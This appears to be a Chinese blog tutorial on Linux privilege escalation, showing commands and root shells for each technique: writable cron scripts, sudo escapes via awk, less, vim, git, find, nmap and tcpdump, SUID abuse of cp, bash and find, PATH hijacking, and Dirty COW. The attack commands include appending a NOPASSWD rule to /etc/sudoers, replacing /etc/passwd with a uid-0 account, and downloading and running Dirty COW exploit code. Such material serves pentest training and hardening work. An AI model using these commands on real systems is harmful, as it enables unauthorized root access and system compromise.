一、crontab提权
linux系统中可以使用crontab -e命令创建计划任务,/var/spool/cron/目录下保存着每个用户的定时任务,非root用户没有权限列出。另外还可以编辑/etc/crontab设置计划任务,该文件普通用户是可以查看的。
- 编辑/etc/crontab,设置每隔1分钟执行一次sh脚本
*/1 * * * * root sh /home/test/test.sh >> /tmp/test.txt
image.png
- 如果test用户有权限操作test.sh,则存在提权漏洞。下面使用test用户修改test.sh:将test用户加入sudoers
[test@localhost ~]$ mv test.sh test.sh.bak
[test@localhost ~]$ vim test.sh
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
[test@localhost ~]$ cat test.sh
image.png
- 等待1分钟后,成功提权
[test@localhost ~]$ sudo su
[root@localhost test]# whoami
image.png
二、sudo提权
Linux系统中可以使用sudo执行一个只有root才能执行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出当前用户支持sudo的命令。
- awk
- 将awk加入/etc/sudoers
[root@localhost ~]# visudo
test ALL=(root) NOPASSWD: /usr/bin/awk
- 执行提权
[test@localhost ~]$ sudo awk 'BEGIN {system("/bin/bash")}'
[root@localhost test]# whoami
root
image.png
- less、more
- 将less和more加入/etc/sudoers
[root@localhost ~]# visudo
test ALL=(root) NOPASSWD: /usr/bin/awk,/usr/bin/less /var/log/vmware-install.log,/bin/more /var/log/vmware-install.log
- 执行提权
[test@localhost ~]$ sudo less /var/log/vmware-install.log
输入!/bin/bash
[root@localhost test]# whoami
root
image.png
- vim
[test@localhost Desktop]$ sudo vim -c '!bash'
[root@localhost Desktop]# whoami
root
image.png
- git
test@ubuntu:/home$ sudo git help status
输入!/bin/bash即可获得root权限
root@ubuntu:/home# whoami
root
image.png
- find
[test@localhost ~]$ sudo find /bin/ -name ls -exec /bin/bash \;
[root@localhost test]# whoami
root
image.png
- nmap
- 首先创建一个nse文件
[test@localhost ~]$ echo "os.execute('/bin/bash')" > /tmp/shell.nse
- 然后使用nmap执行脚本进行提权
[test@localhost ~]$ sudo nmap --script=/tmp/shell.nse
image.png
- tcpdump
- 首先创建一个文件,并赋予执行权限
[test@localhost ~]$ cat /tmp/test
echo "test ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
[test@localhost ~]$ chmod +x /tmp/test
- 进行提权操作
[test@localhost ~]$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
[test@localhost ~]$ sudo su
[root@localhost test]# whoami
root
image.png
三、S权限位
Linux中通过设置SUID,可以让程序的执行者临时拥有属主的权限,使用下面的命令可以搜索系统中所有的SUID可执行文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
- cp
利用过程
- 生成一个新的/etc/passwd,用户名data密码123
[test@localhost ~]$ cat /etc/passwd
[test@localhost ~]$ openssl passwd -1 -salt data 123
$1$data$GjDuj3QgL0edNBoahZ.Xg/
[test@localhost ~]$ touch passwd
将以下内容插入passwd,生成一个新的passwd文件
data:$1$data$GjDuj3QgL0edNBoahZ.Xg/:0:0::/root:/bin/bash
- 假设cp具有SUID权限,可以通过替换/etc/passwd进行提权
[root@localhost ~]# chmod u+s /bin/cp
[test@localhost ~]$ cp passwd /etc/passwd
[test@localhost ~]$ su data
Password:
[root@localhost test]# whoami
root
image.png
- bash
以root身份打开一个bash shell
[test@localhost ~]$ bash -p
bash-4.1# whoami
root
- find
查找文件的同时执行命令
[test@localhost ~]$ find /bin -name ls -exec whoami \;
root
image.png
- 利用过程
使用之前生成的passwd文件,并执行以下命令替换/etc/passwd,其中'{}'指passwd文件的内容
[test@localhost ~]$ find passwd -exec cp '{}' /etc/passwd \;
[test@localhost ~]$ su data
Password:
[root@localhost test]# whoami
root
image.png
四、环境变量
- 假设当前有一段C语言代码,实现让普通用户可以免密码切到test用户
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("su test");
}
- 进行编译,并赋予S权限位
[root@localhost tmp]# gcc demo.c -o demo
[root@localhost tmp]# chmod u+s demo
- 添加环境变量进行提权
[coler@localhost tmp]$ echo "/bin/bash" > su
[coler@localhost tmp]$ chmod 777 su
[coler@localhost tmp]$ pwd
/tmp
[coler@localhost tmp]$ export PATH=/tmp:$PATH
[coler@localhost tmp]$ ./demo
[root@localhost tmp]# whoami
root
[root@localhost tmp]# echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/coler/bin
image.png
五、系统漏洞提权
脏牛漏洞:测试发现centos7.2之前能成功,7.3开始无法成功
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
- centos6.5
- 下载并编译漏洞利用代码
[test@localhost ~]$ wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
[test@localhost ~]$ gcc -pthread dirty.c -o dirty -lcrypt
- 执行后会创建一个firefart用户,并将passwd文件备份到/tmp/passwd.bak
[test@localhost ~]$ ./dirty
image.png
- 此时切到firefart用户即为root权限,当然我们也可以替换之前的passwd文件
[test@localhost ~]$ su firefart
[firefart@localhost test]# id
[firefart@localhost test]# cp /tmp/passwd.bak /etc/passwd
image.png
- centos7.2
- 下载并编译漏洞利用代码
[test@localhost ~]$ wget https://raw.githubusercontent.com/gbonacini/CVE-2016-5195/master/dcow.cpp
[test@localhost ~]$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
- 执行提权
[test@localhost ~]$ ./dcow
网友评论